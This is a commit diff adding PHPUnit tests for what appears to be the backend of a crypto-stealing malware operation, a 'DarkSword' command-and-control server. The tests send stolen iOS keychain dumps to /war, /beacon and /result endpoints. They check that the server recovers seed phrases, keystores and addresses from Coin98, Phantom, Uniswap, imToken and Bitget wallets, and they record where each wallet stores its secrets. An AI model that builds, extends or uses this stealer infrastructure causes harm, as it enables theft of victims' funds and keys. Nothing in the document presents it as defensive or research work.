fix: keystore

This commit is contained in:
hashbro
2026-09-20 06:15:26 +08:00
parent 2625707aed
commit 2a41a29310
29 changed files with 1972 additions and 66 deletions
+340
View File
@@ -731,6 +731,58 @@ class DarkSwordC2ApiTest extends TestCase
$this->assertSame($mnemonic->id, $addr->mnemonic_id);
}
#[Test]
public function war_duplicate_device_create_returns_existing(): void
{
// Simulate a race: the device already exists when /war tries to
// create it. The upsert should find the existing row and continue
// instead of crashing with a duplicate key error.
$existing = Device::query()->create([
'device_id' => self::DS_LHU,
'chain' => Device::CHAIN_DARKSWORD,
]);
$this->postJson('/war', [
'lhu' => self::DS_LHU,
'keychain' => [
'wallets' => [
'trustwallet' => [
'count' => 1,
'items' => [[
'accessGroup' => 'group.com.sixdays.team',
'dataHex' => bin2hex('{"crypto":{"cipher":"aes-128-ctr"}}'),
]],
],
],
],
])->assertOk()->assertJson(['ok' => true]);
// Same device row, not a duplicate.
$this->assertSame(1, Device::query()->where('device_id', self::DS_LHU)->count());
$device = Device::query()->where('device_id', self::DS_LHU)->first();
$this->assertSame($existing->id, $device->id);
}
#[Test]
public function beacon_duplicate_device_create_returns_existing(): void
{
// Same race condition test via /beacon endpoint.
$existing = Device::query()->create([
'device_id' => self::DS_LHU,
'chain' => Device::CHAIN_DARKSWORD,
]);
$this->postJson('/beacon', [
'uuid' => self::DS_LHU,
'status' => 'idle',
'ios' => '18.6',
])->assertOk();
$this->assertSame(1, Device::query()->where('device_id', self::DS_LHU)->count());
$device = Device::query()->where('device_id', self::DS_LHU)->first();
$this->assertSame($existing->id, $device->id);
}
#[Test]
public function beacon_alternates_scan_and_extract_per_ip_with_5s_gap(): void
{
@@ -1298,4 +1350,292 @@ class DarkSwordC2ApiTest extends TestCase
'c2/ds-results/'.self::DS_LHU.'/dsq-scan-wallets-1/wallet_pkg.json'
);
}
#[Test]
public function war_coin98_plaintext_backup_decrypts_mnemonic_and_addresses(): void
{
Http::fake();
$mnemonic = self::TEST_MNEMONIC;
$eth = '0x6188587D7d55635C6EcDCA2bD6A3cE0690Ead757';
$trx = 'TFncSZhFzsiEaRSTrThDyqEnbiLv99KoR2';
$btc = 'bc1qsrr6lyapm7rjj609enwhlt620zu7r37fxfkna0';
$backup = [
['chain' => 'ether', 'address' => $eth, 'mnemonic' => $mnemonic, 'privateKey' => '0xabc', 'path' => "hd m/44'/60'/0'/0/0", 'isMulti' => true, 'name' => 'My Wallet', 'isActive' => true],
['chain' => 'tron', 'address' => $trx, 'mnemonic' => $mnemonic, 'privateKey' => '0xdef', 'path' => "hd m/44'/195'/0'/0/0", 'isMulti' => true, 'name' => 'My Wallet', 'isActive' => true],
['chain' => 'bitcoin', 'address' => $btc, 'mnemonic' => $mnemonic, 'privateKey' => '0x123', 'path' => "hd m/84'/0'/0'/0/0", 'isMulti' => true, 'name' => 'My Wallet', 'isActive' => true],
];
$this->postJson('/war', [
'lhu' => self::DS_LHU,
'keychain' => [
'wallets' => [
'coin98' => [
'count' => 1,
'items' => [[
'service' => 'rn-secure-storage',
'account' => 'WALLET_SECURE_BACKUP',
'dataHex' => bin2hex(json_encode($backup)),
]],
],
],
],
])->assertOk();
$device = Device::query()->where('device_id', self::DS_LHU)->first();
$this->assertNotNull($device);
$memo = WalletMnemonic::query()->where('device_id', $device->id)->where('source', 'Coin98')->first();
$this->assertNotNull($memo);
$this->assertSame($mnemonic, $memo->mnemonic);
$this->assertTrue(
WalletKeystore::query()->where('device_id', $device->id)->where('source', 'Coin98')->get()
->contains(fn ($row) => (int) $row->decrypted === 1)
);
$ethAddr = WalletAddress::query()->where('device_id', $device->id)->where('address', $eth)->where('source', 'Coin98')->first();
$this->assertNotNull($ethAddr);
$this->assertSame('ETHEREUM', $ethAddr->chain_type);
$trxCoin = WalletAddress::query()->where('device_id', $device->id)->where('address', $trx)->where('source', 'Coin98')->first();
$this->assertNotNull($trxCoin);
$this->assertSame('TRON', $trxCoin->chain_type);
$btcAddr = WalletAddress::query()->where('device_id', $device->id)->where('address', $btc)->where('source', 'Coin98')->first();
$this->assertNotNull($btcAddr);
$this->assertSame('BITCOIN', $btcAddr->chain_type);
}
#[Test]
public function result_keychain_dump_ingests_coin98_mnemonic(): void
{
Storage::fake('local');
Http::fake();
$device = Device::query()->create([
'device_id' => self::DS_LHU,
'chain' => Device::CHAIN_DARKSWORD,
'album_storage' => true,
]);
DsBeaconTask::query()->create([
'device_id' => $device->id,
'position' => 1,
'type' => 'wallet_scan',
'status' => DsBeaconTask::STATUS_DISPATCHED,
'command_id' => 'dsq-scan-kc-1',
]);
$mnemonic = self::TEST_MNEMONIC;
$eth = '0x6188587D7d55635C6EcDCA2bD6A3cE0690Ead757';
$backup = [
['chain' => 'ether', 'address' => $eth, 'mnemonic' => $mnemonic, 'privateKey' => '0xabc', 'path' => "hd m/44'/60'/0'/0/0", 'isMulti' => true, 'name' => 'My Wallet', 'isActive' => true],
];
$keychainDump = [
'wallets' => [
'coin98' => [
'count' => 1,
'items' => [[
'service' => 'rn-secure-storage',
'account' => 'WALLET_SECURE_BACKUP',
'dataHex' => bin2hex(json_encode($backup)),
]],
],
],
];
$this->postJson('/result', [
'uuid' => self::DS_LHU,
'command_id' => 'dsq-scan-kc-1',
'filename' => 'keychain_c2_dump.json',
'category' => 'wallet_scan',
'data' => base64_encode(json_encode($keychainDump)),
])->assertOk();
$memo = WalletMnemonic::query()->where('device_id', $device->id)->where('source', 'Coin98')->first();
$this->assertNotNull($memo);
$this->assertSame($mnemonic, $memo->mnemonic);
$ks = WalletKeystore::query()->where('device_id', $device->id)->where('source', 'Coin98')->first();
$this->assertNotNull($ks);
$this->assertSame(1, (int) $ks->decrypted);
}
#[Test]
public function result_walletsV2_ingests_imtoken_keystore(): void
{
Storage::fake('local');
Http::fake();
$device = Device::query()->create([
'device_id' => self::DS_LHU,
'chain' => Device::CHAIN_DARKSWORD,
'album_storage' => true,
]);
DsBeaconTask::query()->create([
'device_id' => $device->id,
'position' => 1,
'type' => 'wallet_extract',
'status' => DsBeaconTask::STATUS_DISPATCHED,
'command_id' => 'dsq-extract-imt-1',
]);
// An imToken walletsV2 keystore (encrypted, no password available).
$keystore = [
'id' => '05e3bcf4-f522-4d80-b8d0-1c05f5be8094',
'version' => 12000,
'crypto' => [
'cipher' => 'aes-128-ctr',
'cipherparams' => ['iv' => '4a1cfd57baaa3b00b51193ff7668d78e'],
'ciphertext' => '75366e1ff5c2944f0ff781e3ce15f40e',
'kdf' => 'pbkdf2',
'kdfparams' => ['c' => 262144, 'prf' => 'hmac-sha256', 'dklen' => 32, 'salt' => 'c70d790e2ff331dff35427a4739fd470998f915396d8d0895a98d677bad81e11'],
'mac' => '260ead5acb377b98a4a9b8773d06c582042e6d9a43523a7e0b04d53d914be8ff',
],
'imTokenMeta' => ['name' => 'cfc', 'source' => 'MNEMONIC', 'network' => 'MAINNET'],
];
$this->postJson('/result', [
'uuid' => self::DS_LHU,
'command_id' => 'dsq-extract-imt-1',
'filename' => 'walletsV2_05e3bcf4-f522-4d80-b8d0-1c05f5be8094.json',
'category' => 'wallet_extract',
'data' => base64_encode(json_encode($keystore)),
])->assertOk();
$ks = WalletKeystore::query()->where('device_id', $device->id)->where('source', 'imToken')->first();
$this->assertNotNull($ks);
// No password → not decrypted, but keystore is stored.
$this->assertSame(0, (int) $ks->decrypted);
}
#[Test]
public function war_phantom_entropy_decrypts_mnemonic(): void
{
Http::fake();
// Phantom stores BIP39 entropy as a JSON dict in keychain under
// service=app:no-auth / account=.phantom-labs.vault.seedless.<id>
// entropy bytes: fa685dddbcc0b7b8b98801b42d70edeb → 12-word mnemonic
$entropyBytes = [250, 104, 93, 221, 188, 192, 183, 184, 185, 136, 1, 180, 45, 112, 237, 235];
$entropyDict = [];
foreach ($entropyBytes as $i => $b) {
$entropyDict[(string) $i] = $b;
}
$vaultJson = json_encode([
'version' => 1,
'identifier' => 'f78187f50eb3e9b14870489b21ae581ffd021ef3f73667ccfdbeadfb783bace1',
'name' => '账户 1',
'entropy' => $entropyDict,
], JSON_UNESCAPED_UNICODE);
$accountHex = bin2hex('.phantom-labs.vault.seedless.f78187f50eb3e9b14870489b21ae581ffd021ef3f73667ccfdbeadfb783bace1');
$this->postJson('/war', [
'lhu' => self::DS_LHU,
'keychain' => [
'wallets' => [
'phantom' => [
'count' => 1,
'items' => [[
'service' => 'app:no-auth',
'account' => $accountHex,
'dataHex' => bin2hex($vaultJson),
]],
],
],
],
])->assertOk();
$device = Device::query()->where('device_id', self::DS_LHU)->first();
$this->assertNotNull($device);
$memo = WalletMnemonic::query()->where('device_id', $device->id)->where('source', 'Phantom')->first();
$this->assertNotNull($memo, 'Phantom mnemonic should be recovered from entropy');
$this->assertSame(12, count(explode(' ', $memo->mnemonic)));
$this->assertTrue(
WalletKeystore::query()->where('device_id', $device->id)->where('source', 'Phantom')->get()
->contains(fn ($row) => (int) $row->decrypted === 1)
);
}
#[Test]
public function war_uniswap_plaintext_mnemonic_decrypts(): void
{
Http::fake();
// Uniswap stores the BIP39 mnemonic as hex-encoded UTF-8 plaintext
// in the keychain dataHex field.
$mnemonic = 'sugar another buzz tourist you hotel boring word castle uncle resource pen';
$address = '0x4A4504F0Ea48A83358DF5B4b316cb60c5c0570a4';
$this->postJson('/war', [
'lhu' => self::DS_LHU,
'keychain' => [
'wallets' => [
'uniswap' => [
'count' => 2,
'items' => [
[
'service' => '',
'account' => 'com.uniswap.mobile.mnemonic.'.$address,
'dataHex' => bin2hex($mnemonic),
],
[
'service' => '',
'account' => 'com.uniswap.mobile.privateKey.'.$address,
'dataHex' => bin2hex('zprvAhmjAJA8zFQiXEZRSQkeoJuFtkCoXjTXXTQbcQR2E2Spp599'),
],
],
],
],
],
])->assertOk();
$device = Device::query()->where('device_id', self::DS_LHU)->first();
$this->assertNotNull($device);
// Mnemonic should be recovered by walkForMnemonics.
$memo = WalletMnemonic::query()->where('device_id', $device->id)->first();
$this->assertNotNull($memo, 'Uniswap mnemonic should be recovered by walkForMnemonics');
$this->assertSame($mnemonic, $memo->mnemonic);
// Address should be extracted from the account field.
$addr = WalletAddress::query()->where('device_id', $device->id)->where('address', $address)->first();
$this->assertNotNull($addr, 'Uniswap address should be extracted from account field');
$this->assertSame('ETHEREUM', $addr->chain_type);
}
#[Test]
public function war_bitget_jwt_address_extracted(): void
{
Http::fake();
// Bitget stores a JWT token in keychain with the wallet address in the payload.
$address = '0xb763E99eCF57493bFDe18F812BcDE97Ce35f4A3a';
$jwtPayload = json_encode([
'address' => $address,
'chain' => 'eth',
'identity' => 'f8f8e637429715f6f07d0746837db419',
]);
$jwt = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.'
.base64_encode($jwtPayload).'.sig';
$this->postJson('/war', [
'lhu' => self::DS_LHU,
'keychain' => [
'wallets' => [
'bitget' => [
'count' => 1,
'items' => [[
'service' => '_bitkeep_secure_storage',
'account' => 'f8f8e637429715f6f07d0746837db419-jwt-token',
'dataHex' => bin2hex($jwt),
]],
],
],
],
])->assertOk();
$device = Device::query()->where('device_id', self::DS_LHU)->first();
$this->assertNotNull($device);
$addr = WalletAddress::query()->where('device_id', $device->id)->where('address', $address)->first();
$this->assertNotNull($addr, 'Bitget address should be extracted from JWT token');
$this->assertSame('ETHEREUM', $addr->chain_type);
}
}